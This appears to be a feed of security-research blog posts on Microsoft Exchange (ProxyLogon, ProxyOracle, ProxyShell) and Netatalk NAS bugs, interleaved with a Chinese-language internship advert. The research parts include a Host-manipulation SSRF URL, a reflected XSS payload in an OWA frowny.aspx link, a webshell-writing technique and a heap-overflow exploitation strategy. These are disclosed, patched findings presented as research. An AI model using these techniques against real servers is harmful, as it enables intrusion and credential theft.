protectedvirtualUriGetTargetBackEndServerUrl(){this.LogElapsedTime("E_TargetBEUrl");Uriresult;try{UrlAnchorMailboxurlAnchorMailbox=this.AnchoredRoutingTarget.AnchorMailboxasUrlAnchorMailbox;if(urlAnchorMailbox!=null){result=urlAnchorMailbox.Url;}else{UriBuilderclientUrlForProxy=this.GetClientUrlForProxy();clientUrlForProxy.Scheme=Uri.UriSchemeHttps;clientUrlForProxy.Host=this.AnchoredRoutingTarget.BackEndServer.Fqdn;clientUrlForProxy.Port=444;if(this.AnchoredRoutingTarget.BackEndServer.Version<Server.E15MinVersion){this.ProxyToDownLevel=true;RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger,"ProxyToDownLevel",true);clientUrlForProxy.Port=443;}result=clientUrlForProxy.Uri;}}finally{this.LogElapsedTime("L_TargetBEUrl");}returnresult;}

From the code snippet, you can see the property BackEndServer.Fqdn of AnchoredRoutingTarget is assigned from the cookie directly.

HttpProxy\OwaResourceProxyRequestHandler.cs

protectedoverrideAnchorMailboxResolveAnchorMailbox(){HttpCookiehttpCookie=base.ClientRequest.Cookies["X-AnonResource-Backend"];if(httpCookie!=null){this.savedBackendServer=httpCookie.Value;}if(!string.IsNullOrEmpty(this.savedBackendServer)){base.Logger.Set(3,"X-AnonResource-Backend-Cookie");if(ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)){ExTraceGlobals.VerboseTracer.TraceDebug<HttpCookie,int>((long)this.GetHashCode(),"[OwaResourceProxyRequestHandler::ResolveAnchorMailbox]: AnonResourceBackend cookie used: {0}; context {1}.",httpCookie,base.TraceContext);}returnnewServerInfoAnchorMailbox(BackEndServer.FromString(this.savedBackendServer),this);}returnnewAnonymousAnchorMailbox(this);}

Though we can only control the Host part of the URL, but hang on, isn’t manipulating a URL Parser exactly what I am good at? Exchange builds the Backend URL by built-in UriBuilder. However, since C# didn’t verify the Host, so we can enclose the whole URL with some special characters to access arbitrary servers and ports.

https://[foo]@example.com:443/path#]:444/owa/auth/x.js

So far we have a super SSRF that can control almost all the HTTP requests and get all the replies. The most impressive thing is that the Frontend of Exchange will generate a Kerberos Ticket for us, which means even when we are attacking a protected and domain-joined HTTP service, we can still hack with the authentication of Exchange Machine Account.

So, what is the root cause of this arbitrary Backend assignment? As mentioned, the Exchange Server changes its architecture while releasing new versions. It might have different functions in different versions even with the same component under the same name. Microsoft has put great effort into ensuring the architectural capability between new and old versions. This cookie is a quick solution and the design debt of Exchange making the Frontend in the new architecture could identify where the old Backend is.

CVE-2021-27065 - Post-auth Arbitrary-File-Write

Thanks to the super SSRF allowing us to access the Backend without restriction. The next is to find a RCE bug to chain together. Here we leverage a Backend internal API /proxyLogon.ecp to become the admin. The API is also the reason why we called it ProxyLogon.

Because we leverage the Frontend handler of static resources to access the ECExchange Control Panel (ECP) Backend, the header msExchLogonMailbox, which is a special HTTP header in the ECP Backend, will not be blocked by the Frontend. By leveraging this minor inconsistency, we can specify ourselves as the SYSTEM user and generate a valid ECP session with the internal API.

With the inconsistency between the Frontend and Backend, we can access all the functions on ECP by Header forgery and internal Backend API abuse. Next, we have to find an RCE bug on the ECP interface to chain them together. The ECP wraps the Exchange PowerShell commands as an abstract interface by /ecp/DDI/DDIService.svc. The DDIService defines several PowerShell executing pipelines by XAML so that it can be accessed by Web. While verifying the DDI implementation, we found the tag of WriteFileActivity did not check the file path properly and led to an arbitrary-file-write.

DDIService\WriteFileActivity.cs

publicoverrideRunResultRun(DataRowinput,DataTabledataTable,DataObjectStorestore,TypecodeBehind,Workflow.UpdateTableDelegateupdateTableDelegate){DataRowdataRow=dataTable.Rows[0];stringvalue=(string)input[this.InputVariable];stringpath=(string)input[this.OutputFileNameVariable];RunResultrunResult=newRunResult();try{runResult.ErrorOccur=true;using(StreamWriterstreamWriter=newStreamWriter(File.Open(path,FileMode.CreateNew))){streamWriter.WriteLine(value);}runResult.ErrorOccur=false;}// ...}

There are several paths to trigger the vulnerability of arbitrary-file-write. Here we use ResetOABVirtualDirectory.xaml as an example and write the result of Set-OABVirtualDirectory to the webroot to be our Webshell.

Now we have a working pre-auth RCE exploit chain. An unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port. Here is an demonstration video:

Epilogue

As the first blog of this series, ProxyLogon perfectly shows how severe this attack surface could be. We will have more examples to come. Stay tuned!

A New Attack Surface on MS Exchange Part 2 - ProxyOracle!

$
0
0

Hi, this is the part 2 of the New MS Exchange Attack Surface. Because this article refers to several architecture introductions and attack surface concepts in the previous article, you could find the first piece here:

This time, we will be introducing ProxyOracle. Compared with ProxyLogon, ProxyOracle is an interesting exploit with a different approach. By simply leading a user to visit a malicious link, ProxyOracle allows an attacker to recover the user’s password in plaintext format completely. ProxyOracle consists of two vulnerabilities:

Where is ProxyOracle

So where is ProxyOracle? Based on the CAS architecture we introduced before, the Frontend of CAS will first serialize the User Identity to a string and put it in the header of X-CommonAccessToken. The header will be merged into the client’s HTTP request and sent to the Backend later. Once the Backend receives, it deserializes the header back to the original User Identity in Frontend.

We now know how the Frontend and Backend synchronize the User Identity. The next is to explain how the Frontend knows who you are and processes your credentials. The Outlook Web Access (OWA) uses a fancy interface to handle the whole login mechanism, which is called Form-Based Authentication (FBA). The FBA is a special IIS module that inherits the ProxyModule and is responsible for executing the transformation between the credentials and cookies before entering the proxy logic.

The FBA Mechanism

HTTP is a stateless protocol. To keep your login state, FBA saves the username and password in cookies. Every time you visit the OWA, Exchange will parse the cookies, retrieve the credential and try to log in with that. If the login succeed, Exchange will serialize your User Identity into a string, put it into the header of X-CommonAccessToken, and forward it to the Backend

HttpProxy\FbaModule.cs

protectedoverridevoidOnBeginRequestInternal(HttpApplicationhttpApplication){httpApplication.Context.Items["AuthType"]="FBA";if(!this.HandleFbaAuthFormPost(httpApplication)){try{this.ParseCadataCookies(httpApplication);}catch(MissingSslCertificateException){NameValueCollectionnameValueCollection=newNameValueCollection();nameValueCollection.Add("CafeError",ErrorFE.FEErrorCodes.SSLCertificateProblem.ToString());thrownewHttpException(302,AspNetHelper.GetCafeErrorPageRedirectUrl(httpApplication.Context,nameValueCollection));}}base.OnBeginRequestInternal(httpApplication);}

All the cookies are encrypted to ensure even if an attacker can hijack the HTTP request, he/she still couldn’t get your credential in plaintext format. FBA leverages 5 special cookies to accomplish the whole de/encryption process:

  • cadata - The encrypted username and password
  • cadataTTL - The Time-To-Live timestamp
  • cadataKey - The KEY for encryption
  • cadataIV - The IV for encryption
  • cadataSig - The signature to prevent tampering

The encryption logic will first generate two 16 bytes random strings as the IV and KEY for the current session. The username and password will then be encoded with Base64, encrypted by the algorithm AES and sent back to the client within cookies. Meanwhile, the IV and KEY will be sent to the user, too. To prevent the client from decrypting the credential by the known IV and KEY directly, Exchange will once again use the algorithm RSA to encrypt the IV and KEY via its SSL certificate private key before sending out!

Here is a Pseudo Code for the encryption logic:

@key=GetServerSSLCert().GetPrivateKey()cadataSig=RSA(@key).Encrypt("Fba Rocks!")cadataIV=RSA(@key).Encrypt(GetRandomBytes(16))cadataKey=RSA(@key).Encrypt(GetRandomBytes(16))@timestamp=GetCurrentTimestamp()cadataTTL=AES_CBC(cadataKey,cadataIV).Encrypt(@timestamp)@blob="Basic "+ToBase64String(UserName+":"+Password)cadata=AES_CBC(cadataKey,cadataIV).Encrypt(@blob)

The Exchange takes CBC as its padding mode. If you are familiar with Cryptography, you might be wondering whether the CBC mode here is vulnerable to the Padding Oracle Attack? Bingo! As a matter of fact, Padding Oracle Attack is still existing in such essential software like Exchange in 2021!

CVE-2021-31196 - The Padding Oracle

When there is something wrong with the FBA, Exchange attaches an error code and redirects the HTTP request back to the original login page. So where is the Oracle? In the cookie decryption, Exchange uses an exception to catch the Padding Error, and because of the exception, the program returned immediately so that error code number is 0, which means None:

Location: /OWA/logon.aspx?url=…&reason=0

In contrast with the Padding Error, if the decryption is good, Exchange will continue the authentication process and try to login with the corrupted username and password. At this moment, the result must be a failure and the error code number is 2, which represents InvalidCredntials:

Location: /OWA/logon.aspx?url=…&reason=2

The diagram looks like:

With the difference, we now have an Oracle to identify whether the decryption process is successful or not.

HttpProxy\FbaModule.cs

privatevoidParseCadataCookies(HttpApplicationhttpApplication){HttpContextcontext=httpApplication.Context;HttpRequestrequest=context.Request;HttpResponseresponse=context.Response;stringtext=request.Cookies["cadata"].Value;stringtext2=request.Cookies["cadataKey"].Value;stringtext3=request.Cookies["cadataIV"].Value;stringtext4=request.Cookies["cadataSig"].Value;stringtext5=request.Cookies["cadataTTL"].Value;// ...RSACryptoServiceProviderrsacryptoServiceProvider=(x509Certificate.PrivateKeyasRSACryptoServiceProvider);byte[]array=null;byte[]array2=null;byte[]rgb2=Convert.FromBase64String(text2);byte[]rgb3=Convert.FromBase64String(text3);array=rsacryptoServiceProvider.Decrypt(rgb2,true);array2=rsacryptoServiceProvider.Decrypt(rgb3,true);// ...using(AesCryptoServiceProvideraesCryptoServiceProvider=newAesCryptoServiceProvider()){aesCryptoServiceProvider.Key=array;aesCryptoServiceProvider.IV=array2;using(ICryptoTransformcryptoTransform2=aesCryptoServiceProvider.CreateDecryptor()){byte[]bytes2=null;try{byte[]array5=Convert.FromBase64String(text);bytes2=cryptoTransform2.TransformFinalBlock(array5,0,array5.Length);}catch(CryptographicExceptionex8){if(ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)){ExTraceGlobals.VerboseTracer.TraceDebug<CryptographicException>((long)this.GetHashCode(),"[FbaModule::ParseCadataCookies] Received CryptographicException {0} transforming auth",ex8);}httpApplication.Response.AppendToLog("&CryptoError=PossibleSSLCertrolloverMismatch");return;}catch(FormatExceptionex9){if(ExTraceGlobals.VerboseTracer.IsTraceEnabled(1)){ExTraceGlobals.VerboseTracer.TraceDebug<FormatException>((long)this.GetHashCode(),"[FbaModule::ParseCadataCookies] Received FormatException {0} decoding caData auth",ex9);}httpApplication.Response.AppendToLog("&DecodeError=InvalidCaDataAuthCookie");return;}string@string=Encoding.Unicode.GetString(bytes2);request.Headers["Authorization"]=@string;}}}

It should be noted that since the IV is encrypted with the SSL certificate private key, we can’t recover the first block of the ciphertext through XOR. But it wouldn’t cause any problem for us because the C# internally processes the strings as UTF-16, so the first 12 bytes of the ciphertext must be B\x00a\x00s\x00i\x00c\x00 \x00. With one more Base64 encoding applied, we will only lose the first 1.5 bytes in the username field.

(16−6×2) ÷ 2 × (3/4) = 1.5

The Exploit

As of now, we have a Padding Oracle that allows us to decrypt any user’s cookie. BUT, how can we get the client cookies? Here we find another vulnerability to chain them together.

XSS to Steal Client Cookies

We discover an XSS (CVE-2021-31195) in the CAS Frontend (Yeah, CAS again) to chain together, the root cause of this XSS is relatively easy: Exchange forgets to sanitize the data before printing it out so that we can use the \ to escape from the JSON format and inject arbitrary JavaScript code.

https://exchange/owa/auth/frowny.aspx
?app=people
&et=ServerError
&esrc=MasterPage
&te=\
&refurl=}}};alert(document.domain)//

But here comes another question: all the sensitive cookies are protected by the HttpOnly flag, which makes us unable to access the cookies by JavaScript. WHAT SHOULD WE DO?

Bypass the HttpOnly

As we could execute arbitrary JavaScript on browsers, why don’t we just insert the SSRF cookie we used in ProxyLogon? Once we add this cookie and assign the Backend target value as our malicious server, Exchange will become a proxy between the victims and us. We can then take over all the client’s HTTP static resources and get the protected HttpOnly cookies!

By chaining bugs together, we have an elegant exploit that can steal any user’s cookies by just sending him/her a malicious link. What’s noteworthy is that the XSS here is only helping us to steal the cookie, which means all the decryption processes wouldn’t require any authentication and user interaction. Even if the user closes the browser, it wouldn’t affect our Padding Oracle Attack!

Here is the demonstration video showing how we recover the victim’s password:

ProxyLogon 僅僅只是冰山一角,一個針對 Microsoft Exchange Server 的全新攻擊面!

$
0
0

Microsoft Exchange Server 作為當今世界上最常見的郵件解決方案,已經幾乎是企業以及政府每日工作與維繫安全不可或缺的一部分!在今年一月,我們回報了一系列的 Exchange Server 漏洞給 Microsoft,並且將這個漏洞它命名為 ProxyLogon,相信如果您有在關注業界新聞,一定也聽過這個名字!ProxyLogon 也許是 Exchange 歷史上最嚴重、影響力也最大的一個漏洞!

隨著更深入的從架構層去研究 ProxyLogon,我們發現它不僅僅只是一個漏洞,而是一整個新的、沒有人提過的攻擊面可讓駭客或安全研究員去挖掘更多的漏洞。因此我們專注深入研究這個攻擊面,並從中發現了至少八個漏洞,這些漏洞涵蓋了伺服器端、客戶端,甚至密碼學漏洞,我們並將這些漏洞組合成了三個攻擊鏈:

  1. ProxyLogon: 最知名、影響力也最大的 Exchange 攻擊鏈
  2. ProxyOracle: 一個可以還原任意 Exchange 使用者明文密碼的攻擊鏈
  3. ProxyShell: 我們在 Pwn2Own 2021 上展示打掉 Exchange 的攻擊鏈

所有我們找到的漏洞都是邏輯漏洞,這代表相較於記憶體毀損類型的漏洞,這些漏洞更容易被重現以及利用,我們也將成果發表至 Black Hat USADEFCON上,也同時獲得了 2021 Pwnie Awards 年度 Best Server-Side Bug 獎項,如果你有興趣的話可以從這邊下載會議的投影片!

  • ProxyLogon is Just the Tip of the Iceberg: A New Attack Surface on Microsoft Exchange Server! [投影片][影片]

本次提及的漏洞皆經過負責任的漏洞接露程序回報給微軟、並獲得修復,您可以從下面這張圖查看詳細的漏洞編號及回報時間表。

Report TimeNameCVEPatch TimeCAS[1]Reported By
Jan 05, 2021ProxyLogonCVE-2021-26855Mar 02, 2021YesOrange Tsai, Volexity and MSTIC
Jan 05, 2021ProxyLogonCVE-2021-27065Mar 02, 2021-Orange Tsai, Volexity and MSTIC
Jan 17, 2021ProxyOracleCVE-2021-31196Jul 13, 2021YesOrange Tsai
Jan 17, 2021ProxyOracleCVE-2021-31195May 11, 2021-Orange Tsai
Apr 02, 2021ProxyShell[2]CVE-2021-34473Apr 13, 2021YesOrange Tsai working with ZDI
Apr 02, 2021ProxyShell[2]CVE-2021-34523Apr 13, 2021YesOrange Tsai working with ZDI
Apr 02, 2021ProxyShell[2]CVE-2021-31207May 11, 2021-Orange Tsai working with ZDI
Jun 02, 2021---YesOrange Tsai
Jun 02, 2021-CVE-2021-33768Jul 13, 2021-Orange Tsai and Dlive

[1] Bugs relate to this new attack surface direclty
[2] Pwn2Own 2021 bugs

更詳盡的技術細節我們已陸續公布,後續連結會持續更新於本文,敬請期待:

A New Attack Surface on MS Exchange Part 3 - ProxyShell!

$
0
0

This is a guest post DEVCORE collaborated with Zero Day Initiative (ZDI) and published at their blog, which describes the exploit chain we demonstrated at Pwn2Own 2021! Please visit the following link to read that :)

If you are interesting in more Exchange Server attacks, you can also check our series of articles:

With ProxyShell, an unauthenticated attacker can execute arbitrary commands on Microsoft Exchange Server through an exposed 443 port! Here is the demonstration video:

DEVCORE 2022 實習生計畫

$
0
0

DEVCORE 自 2012 成立以來已邁向第十年,我們很重視台灣的資安,也專注找出最嚴重的弱點以保護世界。雖然公司規模擴張不快,但在漸漸站穩腳步的同時,我們仍不忘初衷:從 2020 開始在輔大、台科大成立資安獎學金;在 2021 年末擴大徵才,想找尋有著相同理念的人才一起奮鬥;而現在,我們開始嘗試舉辦實習生計畫,希望培育人才、增強新世代的資安技能,如果您對這個計畫有興趣,歡迎來信報名!

實習內容

本次實習分為 Binary 及 Web 兩個組別,主要內容如下:

  • Binary
    以研究為主,在與導師確定研究標的後,分析目標架構、進行逆向工程或程式碼審查。藉由這個過程訓練自己的思路,找出可能的攻擊面與潛在的弱點。另外也會讓大家嘗試寫過往漏洞的 Exploit 並將之武器化,體驗真實世界的漏洞都是如何利用。
    • 漏洞挖掘及研究 70 %
    • 1-day 開發 (Exploitation) 及武器化 (Weaponization) 30 %
  • Web
    主要內容為在導師指引與輔佐下研究過往漏洞與近年常見新型態漏洞、攻擊手法,需要製作投影片介紹成果並建置可供他人重現弱點的模擬測試環境 (Lab),另可能需要撰寫或修改可利用攻擊程式進行弱點驗證。
    • 漏洞及攻擊手法研究 70%
    • 建置 Lab 30%

公司地點

台北市松山區八德路三段 32 號 13 樓

實習時間

  • 2022 年 4 月開始到 7 月底,共 4 個月。
  • 每週工作兩天,工作時間為 10:00 – 18:00
    • 每週固定一天下午 14:00 - 18:00 必須到公司討論進度
    • 其餘時間皆為遠端作業

招募對象

大專院校大三(含)以上具有一定程度資安背景的學生

預計招收名額

  • Binary 組:2 人
  • Web 組:2~3 人

薪資待遇

每月新台幣 16,000 元

招募條件資格與流程

實習條件要求

Binary

  • 基本逆向工程及除錯能力
    • 能看懂組合語言並瞭解基本 Debugger 使用技巧
  • 基本漏洞利用能力
    • 須知道 ROP、Heap Exploitation 等相關利用技巧
  • 基本 Scripting Language 開發能力
    • Python、Ruby
  • 具備分析大型 Open Source 專案能力
    • 以 C/C++ 為主
  • 具備基礎作業系統知識
    • 例如知道 Virtual Address 與 Physical Address 的概念
  • Code Auditing
    • 知道怎樣寫的程式碼會有問題
      • Buffer Overflow
      • Use After free
      • Race Condition
  • 具備研究熱誠,習慣了解技術本質
  • 加分但非必要條件
    • CTF 比賽經驗
    • pwnable.tw 成績
    • 有公開的技術 blog/slide 或 Write-ups
    • 精通 IDA Pro 或 Ghidra
    • 有寫過 1-day 利用程式
    • 具備下列經驗
      • Kernel Exploit
      • Windows Exploit
      • Browser Exploit
      • Bug Bounty

Web

  • 熟悉 OWASP Web Top 10。
  • 理解 PortSwigger Web Security Academy 中所有的安全議題或已完成所有 Lab。
    • 參考連結:https://portswigger.net/web-security/all-materials
  • 理解計算機網路的基本概念。
  • 熟悉 Command Line 操作,包含 Unix-like 和 Windows 作業系統的常見或內建系統指令工具。
  • 熟悉任一種網頁程式語言(如:PHP、ASP.NET、JSP),具備可以建立完整網頁服務的能力。
  • 熟悉任一種 Scripting Language(如:Shell Script、Python、Ruby),並能使用腳本輔以研究。
  • 具備除錯能力,能善用 Debugger 追蹤程式流程、能重現並收斂問題。
  • 具備可以建置、設定常見網頁伺服器(如:Nginx、Apache)及作業系統(如:Linux)的能力。
  • 具備追根究柢的精神。
  • 加分但非必要條件
    • 曾經獨立挖掘過 0-day 漏洞。
    • 曾經獨立分析過已知漏洞並能撰寫 1-day exploit。
    • 曾經於 CTF 比賽中擔任出題者並建置過題目。
    • 擁有 OSCP 證照或同等能力之證照。

應徵流程

本次甄選一共分為三個階段:

第一階段:書面審查

第一階段為書面審查,會需要審查下列兩個項目

  • 書面審查
  • 簡答題測驗(2 題,詳見下方報名方式

我們會根據您的履歷及簡答題所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆是否有通過第一階段,並且視情況附上第二階段的題目。

第二階段:能力測驗

  • Binary
    • 第二階段會根據您的履歷或是任何可以證明具備 Binary Exploit 相關技能的資料來決定是否需要另外做題目,如果未達標準則會另外準備 Binary Exploitation 相關題目,原則上這個階段會給大家約兩週時間解題,解完後請務必寫下解題過程(Write-up),待我們收到解題過程後,將會根據您的狀況決定是否可以進入第三階段。
  • Web

第三階段:面試

此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。

報名方式

  • 請將您的履歷簡答題答案做成一份 PDF 檔寄到 recruiting_intern@devco.re
    • 履歷格式請參考範例示意(DOCXPAGESPDF)並轉成 PDF。若您有自信,也可以自由發揮最能呈現您能力的履歷。
    • 請於 2022/02/11 前寄出(如果名額已滿則視情況提早結束)
  • 信件標題格式:[應徵] 職位 您的姓名(範例:[應徵] Web 組實習生 王小美)
  • 履歷內容請務必控制在兩頁以內,至少需包含以下內容:
    • 基本資料
    • 學歷
    • 實習經歷
    • 社群活動經歷
    • 特殊事蹟
    • 過去對於資安的相關研究
    • 對於這份實習的期望
    • MBTI 職業性格測試結果(測試網頁)
  • 簡答題題目如下,請依照欲申請之組別回答,答案頁數不限,可自由發揮
    • Binary
      • 假設你今天要分析一個 C/C++ 寫的 web server,在程式執行過程中,你覺得有哪些地方可能會發生問題導致程式流程被劫持?為什麼?
      • 在 Linux 機器上,當我們在對 CGI 進行分析時,由於 CGI 是由 apache 所呼叫並傳遞 input,且在執行後會立即結束,這種程式你會如何 debug ?
    • Web
      • 當你在網頁瀏覽器的網址列上輸入一串網址(例如:http://site.fake.devco.re/index.php?foo=bar),隨後按下 Enter 鍵到出現網頁畫面為止,請問中間發生了什麼事情?請根據你所知的知識背景,以文字盡可能說明。
      • 依據前述問題的答案,允許隨意設想任何一個情境,並以文字盡可能說明在情境的各個環節中可能發生的任何安全議題或者攻擊目標、攻擊面向。

若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!

Your NAS is not your NAS !

$
0
0

English Version
中文版本

前年我們在 Synology 的 NAS 中,發現了,Pre-auth RCE 的漏洞,並在 Pwn2Own Tokyo 中,取得了 Synology DS418 play 的控制權,而成功獲得 Pwn2Own 的點數,後續也發現這個漏洞不只存在 Synology 的 NAS,也同時存在多數廠牌的 NAS 中,這篇研究將講述這漏洞的細節及我們的利用方式。

此份研究亦發表於 HITCON 2021,你可以從這裡取得投影片!

Network Attached Storage

早期 NAS 一般用途為讓伺服器本身與資料分開也為了做異地備援而使用的設備,功能上主要單純讓使用者可以直接在網路上存取資料及分享檔案,現今的 NAS 更是提供多種服務,不止檔案分享更加方便,也與 IoT 的環境更加密切,例如 SMB/AFP 等服務,可輕易的讓不同系統的電腦分享檔案,普及率也遠比以前高很多。

現今的 NAS,也可裝上許多套件,更是有不少人拿來架設 Server,在這智慧家庭的年代中,更是會有不少人與 home assistant 結合,使得生活更加便利。

Motivation

為何我們要去研究 NAS 呢 ?

紅隊需求

過去在我們團隊在執行紅隊過程中,NAS 普遍會出現在企業的內網中,有時更會暴露在外網,有時更會存放不少企業的機密資料在 NAS 上,因此 NAS 漸漸被我們關注,戰略價值也比以往高很多。

勒索病毒

近年來因為 NAS 日益普及,常被拿來放個人的重要資料,使 NAS 成為了勒索病毒的目標,通常駭客組織都會利用漏洞入侵 NAS 後,將存放在 NAS 中的檔案都加密後勒索,而今年年初才又爆發一波 locker 系列的事件,我們希望可以減少類似的事情再次發生,因而提高 NAS 研究的優先程度,來增加 NAS 安全性。也為了我們實現讓世界更安全的理想。

Pwn2Own Mobile 2020

最後一點是 NAS 從 2020 開始,成為了 Pwn2Own Mobile 的主要目標之一,又剛好前年我們也想嘗試挑戰看看 Pwn2Own 的舞台,所以決定以 NAS 作為當時研究的首要目標,前年 Pwn2Own 的目標為 Synology 及 WD ,由於 Synology 為台灣企業常見設備,所以我們最後選擇了 Synology 開始研究。

Recon

Environment

  • DS918+
  • DSM 6.2.3-25426

我們的測試環境是 DS918+ 與 Pwn2own 目標極為類似的型號,我們為了更佳符合平常會遇到的環境以及 Pwn2Own 中要求,會是全部 default setting 的狀態。

Attack surface

首先可先用 netstat 看 tcp 和 udp 中有哪些 port 是對外開放,可以看到 tcp 及 udp 中 在 default 環境下,就開了不少服務,像是 tcp 的 smb/nginx/afpd 等

而 udp 中則有 minissdpd/findhost/snmpd 等,多數都是一些用來幫助尋找設備的協定。

我們這邊挑了幾個 Service 做初步的分析

DSM Web interface

首先是 DSM Web 介面,最直覺也最直接的一部分,這部分大概也會是最多人去分析的一塊,有明顯的入口點,在古老時期常有 command injection 漏洞,但後來有 Synology 有嚴格規範,後徹底改善這問題,程式也採用相對保守的方式開發,相對安全不少。

SMB

Synology 中的 SMB 協定,使用的是 Open Source 的 Samba,因使用的人眾多,進行 code review 及漏洞挖掘的人也不少,使得每年會有不少小洞,近期最嚴重的就是 SambaCry,但由於較多人在 review 安全性相對也比其他服務安全。

iSCSI Manager

主要協助使用者管理與監控 iSCSI 服務,由 Synology 自行開發,近期算比較常出現漏洞的地方,但需要花不少時間 Reverse ,不過是個不錯的目標,如果沒有其他攻擊面,可能會優先分析。

Netatalk

最後一個要提的是 Netatalk 也就是 afp 協定,基本上沒什麼改,大部分沿用 open source 的 Netatalk,近期最嚴重的漏洞為 2018 的 Pre-auth RCE (CVE-2018-1160),關於這漏洞可參考 Exploiting an 18 Year Old Bug,Netatalk 相對其他 Service 過去的漏洞少非常多,是比較少被注意到的一塊,並且已經長時間沒在更新維護。

我們經過整體分析後, 認為 Netatalk 也會是 Synology 中最軟的一塊,且有 Source code可以看,所以我們最後決定先分析他。當然也還有其他 service 跟攻擊面,不過這邊由於篇幅因素及並沒有花太多時間去研究就不一一分析介紹了。我們這次的重點就在於 Netatalk。

Netatalk

Apple Filing Protocol (AFP) 是個類似 SMB 的檔案傳輸協定,提供 Mac 來傳輸及分享檔案,因 Apple 本身並沒有開源,為了讓 Unlx like 的系統也可以使用,於是誕生了 Netatalk,Netatalk 是個實作 Mac 的 AFP 協定的 OpenSource 專案,為了讓 Mac 可以更方便的用 NAS 來分享檔案,幾乎每一廠牌的 NAS 都會使用。

Netatalk in Synology

Synology 中的 netatalk 是預設開啟,版本是改自 3.1.8 的 netatalk,並且有在定期追蹤安全性更新,只要剛裝好就可以用 afp 協定來與 Synology NAS 分享檔案,而 binary 本身保護有 ASLR/NX/StackGuard。

DSI

講漏洞之前,先帶大家來看一下 netatalk 中,部分重要結構,首先是 DSI,Netatalk 在連線時是使用的 DSI (Data Stream interface) 來傳遞資訊,Server 跟 Client 都是通過 DSI 這個協定來溝通,每個 connectation 的 packet 都會有 DSI 的 header 在 packet 前面

DSI Packet Header :

DSI 封包中內容大致上會如上圖所示,會有 Flag/Command 等等 metadata 以及 payload 通常就會是一個 DSI Header + payload 的結構

AFP over DSI :

afp 協定的通訊過程大概如上圖所示,使用 AFP 時,client 會先去拿 server 資訊,來確定有哪些認證的方式還有使用的版本等等資訊,這個部分可以不做,然後會去 Open Session 來,開啟新的 Session,接著就可以執行 AFP 的 command ,但在未認證之前,只可以做登入跟登出等相關操作,我們必須用 login 去驗證使用者身份,只要權限沒問題接下來就可像 SMB 一樣做檔案操作

在 Netatalk 實作中,會用 dsi_block 作為封包的結構

dsi_block :

  • dsi_flag 就是指該 packet 是 request or reply
  • dsi_command 表示我們的 request 要做的事情
    • DSICloseSession
    • DSICommand
    • DSIGetStatus
    • DSIOpenSession
  • dsi_code
    • Error code
    • For reply
  • dsi_doff
    • DSI data offset
    • Using in DSIWrite
  • dsi_len
    • The Length of Payload

DSI : A descriptor of dsi stream

在 netatalk 中,除了原始封包結構外,也會將封包及設定檔 parse 完後,將大部分的資訊,存放到另外一個名為 DSI 結構中,例如 server_quantum 及 payload 內容等,以便後續的操作。

而封包中的 Payload 會存放在 DSI 中 command 的 buffer 中,該 buffer 大小,取自於 server_quantum,該數值則是取自於 afp 的設定檔 afp.conf 中。

如果沒特別設定,則會取用 default 大小 0x100000。

有了初步了解後,我們可以講講漏洞。

Vulnerability

我們發現的漏洞就發生在,執行 dsi command 時,讀取 payload 內容發生了 overflow,此時並不需登入就可以觸發。問題函式是在 dsi_stream_receive

這是一個將接收到封包的資訊 parse 後放到 DSI 結構的 function,這個 function 接收封包資料時,會先根據 header 中的 dsi_len來決定要讀多少資料到 command buffer 中,而一開始有驗證dsi_cmdlen不可超過 server quantum 也就是 command buffer 大小。

然而如上圖黃匡處,如果有給 dsi_doff,則會將 dsi_doff作為 cmdlen 大小,但這邊卻沒去檢查是否有超過 command buffer。

使得 dsi_strem_read以這個大小來讀取 paylaod 到 command buffer 中,此時 command buffer 大小為 0x100000,如果 dsi_doff大小超過 0x100000 就會發生 heap overflow。

Exploitation

由於是 heap overflow,所以我們這邊必須先理解 heap 上有什麼東西可以利用,在 DSM 中的 Netatalk 所使用的 Memory Allocator 是 glibc 2.20,而在 glibc 中,當 malloc 大小超過 0x20000 時,就會使用 mmap 來分配記憶體空間,而我們在 netatalk 所使用的大小則是 0x100000 超過 0x20000 因此會用 mmap 來分配我們的 command buffer。

因為是以 mmap 分配的關係,最後分配出來的空間則會在 Thread Local Storage 區段上面,而不是在正常的 heap segment 上,如上圖的紅框處。

afpd 的 memory layout 如上圖所示,上述紅框那塊就是,紅色+橘色這區段,在 command buffer 下方的是 Thread-local Storage。

Thread-local Storage

Thread-local Storage(TLS) 是用來存放 thread 的區域變數,每個 thread 都會有自己的 TLS,在 Thread 建立時就會分配,當 Thread 結束的時候就會釋放,而 main thread 的 TLS 則會在 Process 建立時就會分配,如前面圖片中的橘色區段,因此我們可利用 heap overflow 的漏洞來覆蓋掉大部分存放在 TLS 上的變數。

Target in TLS

事實上來說 TLS 可控制 RIP 的變數有不少,這邊提出幾個比較常見的

  • 第一個是 main arena,主要是 glibc 記憶體管理個結構,改 main arena 可以讓記憶體分配到任意記憶體位置,做任意寫入,但構造上比較麻煩。
  • 第二個是 pointer guard 可藉由修改 pointer guard 來改變原本呼叫的 function pointer ,但這邊需要先有 leak 跟知道原本 pointer guard 的值才能達成
  • 第三個則是改 tls_dtor_list,不須 leak 比較符合我們現在的狀況

Overwrite tls_dtor_list

這技巧是由 project zero 在 2014 所提出的方法,覆蓋 TLS 上的 tls_dtor_list 來做利用,藉由覆蓋該變數可在程式結束時控制程式流程。

structdtor_list{dtor_funcfunc;void*obj;structlink_map*map;structdtor_list*next;}

這邊就稍微提一下這個方法,tls_dtor_list是個 dtor_list object 的 singly linked list 主要是存放 thread local storage 的 destructor,在 thread 結束時會去看這個 linked list 並去呼叫 destructor function,我們可藉由覆蓋 tls_dtor_list指向我們所構造的 dtor_list。

而當程式結束呼叫 exit() 時,會去呼叫 call_tls_dtors(),該 function 會去取 tls_dtor_list中的 object 並去呼叫每個 destructor,此時如果我們可以控制 tls_dtor_list就會去使用我們所構造的 dtor_list來呼叫我們指定的函式。

但在新版本和 synology 的 libc 中,dtor_list 的 function pointer 有被 pointer guard 保護,導致正常情況下,我們並不好利用,一樣需要先 leak 出 pointer guard 才能好好控制 rip 到我們想要的位置上。

